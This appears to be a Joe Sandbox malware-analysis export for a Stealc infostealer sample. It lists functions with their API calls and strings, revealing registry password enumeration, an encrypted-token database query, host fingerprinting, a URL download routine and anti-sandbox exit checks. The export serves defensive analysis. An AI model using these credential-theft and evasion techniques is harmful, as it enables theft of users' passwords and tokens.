API String ID: 3191641157-3653984579
Opcode ID: b64da9f917c9943fd2eb6a12f4247b7ec692c3d0e63a84a26d8a83a2d850eb3b
Instruction ID: 4c62296e68352a24aaafc58f82d3eaac415624c57bd68786e65f4a55372914c3
Opcode Fuzzy Hash: b64da9f917c9943fd2eb6a12f4247b7ec692c3d0e63a84a26d8a83a2d850eb3b
Instruction Fuzzy Hash: 7A3170B1900109DFCB48EBE4DC5ADFF737ABB95302F144018F116A7254DA34E986CB96

Function 006372D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00637314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00637C90), ref: 0063733A
RegEnumValueA.ADVAPI32(00637C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006373B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0063740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00637C90,80000001,006461C4,?,?,?,?,?,00637C90,?), ref: 00637452
HeapFree.KERNEL32(00000000,?,?,?,?,00637C90,80000001,006461C4,?,?,?,?,?,00637C90,?), ref: 00637459

Part of subcall function 00639240: vsprintf_s.MSVCRT ref: 0063925B

task.LIBCPMTD ref: 00637555

Strings

Password, xrefs: 00637401

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 81e7193b668e797e6534e2382fbf3e10739956407fa404259788cea5e6987144
Instruction ID: d0b9508c6172a6473505fa8b696d026bf01484b13e94e5a650da0ac9c02a46a6
Opcode Fuzzy Hash: 81e7193b668e797e6534e2382fbf3e10739956407fa404259788cea5e6987144
Instruction Fuzzy Hash: D4611DB590425C9BDB24DB50CD45BDAB7B9BF44300F0081E9E689A6141DF70ABC9CFE5

Function 00647500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00647542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0064757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00647603
HeapAlloc.KERNEL32(00000000), ref: 0064760A
wsprintfA.USER32 ref: 00647640

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Strings

C, xrefs: 0064754C
\, xrefs: 00647560
:, xrefs: 0064755C

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 032051f235db6f256f823d9b58d1d31bd27afd526100487f3115580b01e81505
Instruction ID: bd2e4027d3fdf14889e7df7ee459a239612782af301032089ee2fdcd09042968
Opcode Fuzzy Hash: 032051f235db6f256f823d9b58d1d31bd27afd526100487f3115580b01e81505
Instruction Fuzzy Hash: 4141B3B1D04248ABDF14DF94DC45BEEBBB9FF48704F100098F50967280DB74AA84CBA5

Function 00648100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00F70578,00000000,?,00650E2C,00000000,?,00000000), ref: 00648130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00F70578,00000000,?,00650E2C,00000000,?,00000000,00000000), ref: 00648137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00648158
__aulldiv.LIBCMT ref: 00648172
__aulldiv.LIBCMT ref: 00648180
wsprintfA.USER32 ref: 006481AC

Strings

@, xrefs: 0064814D
%d MB, xrefs: 006481A3

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: b095ea2aacda836f471db228a31794356334804935215b5fad34de6503ba1a3b
Instruction ID: 2308df692471e4261baa7e2a0aa5f71c252b4357759eb13e0442e69cf09d04e3
Opcode Fuzzy Hash: b095ea2aacda836f471db228a31794356334804935215b5fad34de6503ba1a3b
Instruction Fuzzy Hash: 6B214AB1E44209ABDB04DFD4CC49FAEB7B9FB44B04F104219F605BB280C778A9018BA9

Function 0063BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 00639E10: memcmp.MSVCRT(?,v20,00000003), ref: 00639E2D

lstrlenA.KERNEL32(00000000), ref: 0063BC9F

Part of subcall function 00648E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00648E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0063BCCD
lstrlenA.KERNEL32(00000000), ref: 0063BDA5
lstrlenA.KERNEL32(00000000), ref: 0063BDB9

Strings

AccountTokens, xrefs: 0063BABA
AccountTokens, xrefs: 0063BB49
AccountId, xrefs: 0063BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0063BBEB

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: a6197ffb673cde20617df78b5596ac5f52cc58a78906f2e51c076f9593a833a8
Instruction ID: 5a81a538920e1eef1a202c26f806d4123c640bc0ea390cd362036de5ea12403f
Opcode Fuzzy Hash: a6197ffb673cde20617df78b5596ac5f52cc58a78906f2e51c076f9593a833a8
Instruction Fuzzy Hash: E3B14F71950108BBEB48EBE0DC96EEE733AFF54300F41415CF506A6091EF34AA49CBA6

Function 00634FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00634FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00634FD1
InternetOpenA.WININET(00650DDF,00000000,00000000,00000000,00000000), ref: 00634FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00635011
InternetReadFile.WININET(00645EDB,?,00000400,00000000), ref: 00635041
memcpy.MSVCRT(00000000,?,00000001), ref: 0063508A
InternetCloseHandle.WININET(00645EDB), ref: 006350B9
InternetCloseHandle.WININET(?), ref: 006350C6

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 68faf8d3ca13e90b8ccdc4f49a47f31de1353abf35958dd452682b239849959c
Instruction ID: 01b108b0ae1890933084782c8c13276f86a25bbbc327094e0b30f559dbfd293f
Opcode Fuzzy Hash: 68faf8d3ca13e90b8ccdc4f49a47f31de1353abf35958dd452682b239849959c
Instruction Fuzzy Hash: 723108B4A40218ABDB24CF54DC89BDCB7B5FB48704F1081D8FA09A7284C7706AC58F99

Function 006469F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F63918), ref: 006498A1
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F63AC8), ref: 006498BA
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F63960), ref: 006498D2
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F63A38), ref: 006498EA
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F63930), ref: 00649903
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F613F0), ref: 0064991B
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F5AE98), ref: 00649933
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F5AF98), ref: 0064994C
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F63978), ref: 00649964
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F63AE0), ref: 0064997C
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F63A50), ref: 00649995
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F63990), ref: 006499AD
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F5AD58), ref: 006499C5
Part of subcall function 00649860: GetProcAddress.KERNEL32(76210000,00F639A8), ref: 006499DE

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 006311D0: ExitProcess.KERNEL32 ref: 00631211

Part of subcall function 00631160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00646A17,00650AEF), ref: 0063116A
Part of subcall function 00631160: ExitProcess.KERNEL32 ref: 0063117E

Part of subcall function 00631110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00646A1C), ref: 0063112B
Part of subcall function 00631110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00646A1C), ref: 00631132
Part of subcall function 00631110: ExitProcess.KERNEL32 ref: 00631143

Part of subcall function 00631220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0063123E
Part of subcall function 00631220: __aulldiv.LIBCMT ref: 00631258
Part of subcall function 00631220: __aulldiv.LIBCMT ref: 00631266
Part of subcall function 00631220: ExitProcess.KERNEL32 ref: 00631294

Part of subcall function 00646770: GetUserDefaultLangID.KERNEL32(?,?,00646A26,00650AEF), ref: 00646774

GetUserDefaultLCID.KERNEL32 ref: 00646A26

Part of subcall function 00631190: ExitProcess.KERNEL32 ref: 006311C6

Part of subcall function 00647850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006311B7), ref: 00647880
Part of subcall function 00647850: HeapAlloc.KERNEL32(00000000,?,?,?,006311B7), ref: 00647887
Part of subcall function 00647850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0064789F

Part of subcall function 006478E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00646A2B), ref: 00647910
Part of subcall function 006478E0: HeapAlloc.KERNEL32(00000000,?,?,?,00646A2B), ref: 00647917
Part of subcall function 006478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0064792F

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00F61410,?,0065110C,?,00000000,?,00651110,?,00000000,00650AEF), ref: 00646ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00646AE8
CloseHandle.KERNEL32(00000000), ref: 00646AF9
Sleep.KERNEL32(00001770), ref: 00646B04
CloseHandle.KERNEL32(?,00000000,?,00F61410,?,0065110C,?,00000000,?,00651110,?,00000000,00650AEF), ref: 00646B1A
ExitProcess.KERNEL32 ref: 00646B22

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: afc954497de6ed6292194d5ca88ba42830ae1623c91966078d72e6cf1f8a4fcb
Instruction ID: 642132a5522d98f75549f7b69b1fcc1b0b5133c5e1fb9b3e279fd33db5df4d2d
Opcode Fuzzy Hash: afc954497de6ed6292194d5ca88ba42830ae1623c91966078d72e6cf1f8a4fcb
Instruction Fuzzy Hash: C1313E70950208BAEB88FBF0DC56BEE777AFF45341F00452CF612A6182DF706945C6AA

Function 006483DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00648426
wsprintfA.USER32 ref: 00648459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0064847B
RegCloseKey.ADVAPI32(00000000), ref: 0064848C
RegCloseKey.ADVAPI32(00000000), ref: 00648499

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

RegQueryValueExA.KERNEL32(00000000,00F70338,00000000,000F003F,?,00000400), ref: 006484EC
lstrlenA.KERNEL32(?), ref: 00648501
RegQueryValueExA.KERNEL32(00000000,00F70350,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00650B34), ref: 00648599
RegCloseKey.KERNEL32(00000000), ref: 00648608
RegCloseKey.ADVAPI32(00000000), ref: 0064861A

Strings

%s\%s, xrefs: 0064844D

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
